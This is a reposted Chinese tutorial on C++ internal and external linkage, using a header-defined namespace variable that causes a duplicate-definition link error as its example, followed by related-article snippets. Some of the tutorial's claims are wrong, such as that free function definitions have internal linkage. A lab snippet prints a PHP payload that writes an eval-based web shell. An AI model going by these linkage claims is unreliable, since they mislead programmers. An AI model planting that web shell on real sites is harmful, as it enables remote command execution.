理解C++的【内部链接】和【外部链接】

news2024/12/23 1:40:25

一、前言

最近在看《大规模C++程序设计》一书,看第一章关于内部链接和外部链接这部分时,有点不太明白。通过书本理解和网上查阅文献,在此记录一下自己对这部分知识点的理解。

首先,提几个问题:

  • 什么是内部链接,什么是外部链接?
  • 为什么不要在头文件中定义具有外部链接的实体?
  • 在头文件中定义具有内部链接的实体有什么劣势?
  • 内部链接和外部链接存在的意义是什么?

二、编译单元

在这里插入图片描述

上图简单的表述了程序的编译、链接过程。其实编译器在编译代码时,只会去编译.cpp格式的源文件,并且预编译器会递归的把.cpp中所有#include的头文件都“拷贝”到.cpp文件中去,将#include替换成对应头文件中的内容,形成一个完整的.cpp文件,之后再对这个文件进行编译,生成二进制的.obj文件,所以其实每个.cpp文件就是一个编译单元。

每个编译单元由编译器独立编译,编译完成后,链接器会将编译后的编译单元合并到单个程序中!!!


三、声明和定义

3.1、声明

描述:一个声明将一个名称引入一个作用域

声明可以理解为,我现在声称有这个东西,但是这个东西具体是啥样,我不清楚。

  • C++中在同一个作用域中可以重复声明,除了类中的成员函数与成员变量的声明

以下都是声明:

extern int number; 	//外部引用声明

typedef int  int32; // typedef声明

Class A;          	//类的前置声明

Using std::cin;   	//名字空间引用声明

friend f;         	//友元声明

int testFun();    	//函数前置声明

3.2、定义

描述:定义决定了一个实体在一个作用域的唯一描述

定义可以这么理解,声明是声称有这个东西,但是具体是啥样还不清楚;定义就清清楚楚、明明白白的告诉你,这个东西是啥样。

  • 同一作用域不可以重复定义一个实体

以下都是声明:

int a;						//变量定义

Class Myclass{};			//类定义

Myclass ma;					//类对象定义

static int b;				//静态变量定义

enum{first, second,third};	//枚举类型定义

const int m = 2;			//常量定义

void hello(){}				//函数定义

四、内部链接

描述:如果一个名称对于它的编译单元是局部的,并且在链接时不会与其它的编译单元中同样的名字冲突,那么这个名称就拥有内部链接。这个实体有内部链接,它就不会与其他.cpp文件同名的实体冲突。

以下实体拥有内部链接:

  • 静态全局变量定义
  • 自由函数(非类成员函数)定义
  • 友元函数定义
  • 类的定义
  • 内联函数定义
  • union共用体定义
  • 名字空间的const常量定义
  • enum枚举类型定义
  • 所有的声明

五、外部链接

描述:一个多文件的程序中,一个实体可以在链接时与其它编译单元交互,那么这个实体就拥有外部链接。也就是说,如果该编译单元能向其它编译单元提供其定义,供其它编译单元使用的函数、变量就拥有外部链接。

以下实体拥有外部链接:

  • 类的非内联函数的定义(包括:成员函数和静态类成员函数)
  • 类的静态成员变量的定义
  • 名字空间或全局的非静态的自由函数、非静态变量、非友元函数的定义

六、内部链接和外部链接的意义

链接:就是因为项目工程的不断扩大,写在一个.cpp文件即难以维护,又不好去合作开发。所以去将代码按照比较有条理的,分成多个文件,让其可以独立编译,最后运行时再整合到一起,也就是通过链接去找到需要的代码。这时候就需要外链接定位到合适的代码。

比如:我们定义的全局函数和变量,可以跨模块的链接使用。

有一些名字定义所表示的实体拥有外部链接,这样就意味着他可以跨越编译单元去进行代码的链接。所以,拥有外部链接的实体如果被声明在头文件,并且被多个.cpp文件包含,可能就会出现链接冲突错误。因为每个包含这个拥有外部链接实体的.cpp都会分配空间,当多个编译单元链接的时候,连接器就会面对多个相同的名字,无法正常链接到正确的对象。

例如:我们在一个头文件中定义了一个名字空间,名字空间的定义显然具有外部链接

#ifndef LESSON_H
#define LESSON_H


namespace lesson_1 {
    int test;
}

class lesson
{
public:
    lesson();
};

#endif // LESSON_H

#include "lesson.h"

lesson::lesson()
{

}

然后我们在main.cpp中引入:#include "lesson.h"

#include <iostream>

#include "lesson.h"

using namespace std;

int main()
{
    cout << "Hello World!" << endl;
    return 0;
}

一运行就报错:
在这里插入图片描述
因为定义在lesson.h中的namespace lesson具有外部链接,lesson.cppmain.cpp#include<lesson.h>,在链接时,这两个编译单元,拥有同名的外部链接,程序就不知道怎么去把编译单元拼接起来,所以报错:重复定义lesson_1::test

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2103976.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

全域运营公司哪家做得好?全域运营系统综合评测结果揭晓!

作为当前火爆的风口项目&#xff0c;一直以来&#xff0c;全域运营都以其广阔的业务范围和巨大的收益潜力吸引着一批又一批的创业者入局分羹&#xff0c;使得全域运营公司哪家做得好等问题一度成为了相关创业者交流群内的讨论重点。 从目前的市场情况来看&#xff0c;由于进入…

定期加强医疗器械维修技能学习重要性

医学影像技术是现代医疗的重要支撑,是辅助临床诊断和治疗不可或缺的技术手段。影像医疗设备成像质量的优劣程度在一定程度上决定了疾病诊断结果的准确性,而术中使用的影像设备的优劣甚至可能影响手术的成功率。因此保证设备正常使用是重中之重&#xff0c;设备售后维修保养也就…

Langchain-Chatchat+Qwen实现本地知识库

1.基础介绍 Langchain-Chatchat一种利用 langchain 思想实现的基于本地知识库的问答应用&#xff0c;目标期望建立一套对中文场景与开源模型支持友好、可离线运行的知识库问答解决方案。大致过程包括加载文件 -> 读取文本 -> 文本分割 -> 文本向量化 -> 问句向量化…

《OpenCV计算机视觉》—— 对图片的各种操作

文章目录 1、安装OpenCV库2、读取、显示、查看图片3、对图片进行切割4、改变图像的大小5、图片打码6、图片组合7、图像运算8、图像加权运算 1、安装OpenCV库 使用pip是最简单、最快捷的安装方式 pip install opencv-python3.4.2还需要安装一个包含了其他一些图像处理算法函数的…

vector中的push_back()和emplace_back()的区别、以及使用场景

目录 前言 1. 基本区别 2. 性能差异 3. 构造参数传递 4. 使用场景总结 前言 push_back() 更适合在已经有对象实例的情况下使用。emplace_back() 则更适合需要在容器内部直接构造对象的场景&#xff0c;特别是在性能敏感的情况下。 1. 基本区别 push_back(): 作用&#xff…

酒店智能触摸开关在酒店管理中的作用

在众多智能化设备中&#xff0c;酒店智能触摸开关以其便捷性、高效性和节能环保的特性&#xff0c;正逐步成为提升住客体验、优化酒店运营管理的关键元素。本文将深入探讨酒店智能触摸开关在酒店管理中的多重作用。 一、提升住客体验&#xff0c;增强服务品质 便捷操作&#xf…

护眼灯真的可以保护眼睛吗?曝光劣质护眼台灯常见的三个特征

护眼灯真的可以保护眼睛吗&#xff1f;随着时代的发展&#xff0c;我们注意到越来越多的孩子开始佩戴眼镜。这一趋势引起了许多细心家长的关注&#xff0c;他们认识到这不仅是个别情况&#xff0c;而是现代生活方式和环境对孩子视力健康的挑战。自然而然地&#xff0c;“儿童是…

【淘宝采集项目经验分享】商品评论采集 |商品详情采集 |关键词搜索商品信息采集

商品评论采集 1、输入商品ID 2、筛选要抓取评论类型 3、填写要抓取的页数 4、立刻提交-启动测试 5、等爬虫结束后就可以到“爬取结果”里面下载数据 商品详情采集 1、输入商品ID 2、立刻提交-启动爬虫 3、等爬虫结束后就可以到“爬取结果”里面下载数据 taobao.item_…

报名开启!IDEA研究院编程语言MoonBit全球编程创新挑战赛启动

"懂语言者得天下"。探索编程之革新&#xff0c;参与AI时代编程语言之构建。2024年MoonBit全球编程创新挑战赛&#xff0c;为你开启&#xff01; 我们向每一位怀揣才华与创意的编程爱好者发出邀请&#xff0c;一起在这场创新与挑战的盛会中&#xff0c;将理想照进现实…

针对IP专用https证书的详细申请教程

IP&#xff08;Internet Protocol&#xff09;地址是网络中最基本的标识之一&#xff0c;它是互联网上设备之间通信的基础。 IP SSL作为一种强大的技术&#xff0c;不仅可以保护网站和应用程序的数据传输安全&#xff0c;还能为企业和个人提供一个更加安全的网络环境。本文将探…

佰朔资本:热热热!关于这项业务,上市公司扎堆回复

跟着折叠屏手机概念火爆&#xff0c;与折叠屏手机相关的上市公司股价走出独立行情。 近期&#xff0c;包含科森科技、凯盛科技、国风新材、鼎龙科技、金银河在内的多家上市公司股价出现显着上涨。其间&#xff0c;科森科技结束7连板&#xff0c;国风新材结束3连板&#xff0c;…

iphone怎么设置自定义铃声?手把手教你3个方法解决问题

iPhone手机铃声如何换成自己喜欢的音乐呢&#xff1f;今天&#xff0c;小编就为你带来了3个超好用的方法&#xff0c;手把手教你iPhone怎么设置自定义铃声&#xff0c;为你打造一个手机响铃。一起来看一下这3个方法具体是怎么操作的吧。 操作环境&#xff1a; 演示机型&#xf…

vue3 前端实现pdf打印预览 printjs

在utils建print.ts文件 interface PrintFunction {extendOptions: Function;getStyle: Function;setDomHeight: Function;toPrint: Function; }const Print function (dom, options?: object): PrintFunction {options options || {};// ts-expect-errorif (!(this instanc…

通俗易懂理解Java泛型

什么是泛型 参数化类型 Java泛型是J2 SE1.5中引入的一个新特性&#xff0c;其本质是参数化类型&#xff0c;也就是说所操作的数据类型被指定为一个参数&#xff08;type parameter&#xff09;这种参数类型可以用在类、接口和方法的创建中&#xff0c;分别称为泛型类、泛型接口…

(力扣164)C语言-基数排序 最大间距

文章目录 题目解题思路代码 题目来源 力扣164 代码是官方题解&#xff0c;这篇文章是对官方题解的一个理解&#xff0c;记录学习日常哒&#xff0c;如若有错&#xff0c;欢迎指出吖&#xff5e;谢谢。 题目 给定一个无序的数组 nums&#xff0c;返回 数组在排序之后&#xff0…

【Vue】Vue3.5 新特性

useId 为 每一个 vue 文件创建一个唯一的 id&#xff1a; app.vue import {useId} from "vue"; import Child from "/Child.vue";const comId useId(); console.log(">(App.vue:5) comId", comId);// ...<Child />useTemplateRef u…

Node.js和uni-app实现微信小程序支付

前言 自己实现一个带支付功能的小程序&#xff0c;前端使用uniapp&#xff0c;后端使用Node.js&#xff0c;将实现微信小程序支付功能的全流程详细记录下来。使用的是全新的微信支付 APIv3 效果演示 用户付款流程 如图1&#xff0c;用户通过分享或扫描二维码进入商户小程序&…

竹云牵头编写 | 《零信任能力成熟度模型》团体标准初审会议顺利召开!

近日&#xff0c;受中国服务贸易协会信息技术服务委员会委托&#xff0c;由竹云牵头编写的《零信任能力成熟度模型》团体标准初审会议在北京顺利召开。本次会议围绕零信任能力成熟度模型议题&#xff0c;解读政策、产业与市场发展趋势&#xff0c;旨在推进零信任架构深化应用&a…

Unity | 内存优化之资源冗余问题

目录 一、资源冗余 1.主动打包和被动打包 2.依赖资源处理 &#xff08;1&#xff09;分别制作AB包&#xff0c;会造成冗余 &#xff08;2&#xff09;资源冗余解决办法&#xff1a; &#xff08;2.1&#xff09;先主动打依赖资源AB包 &#xff08;2.2&#xff09;将两个…

Pikachu文件包含漏洞(本地和远程)

一、本地文件包含 打开靶场&#xff0c;选择一个查看 读取一个本地文件查看 二、远程文件包含 在云服务器创建一个txt文件写入 <?php fputs(fopen("shell.php","w"),<?php eval($_POST["cmd"]);?>)?> 在本机上查看,会生成一个…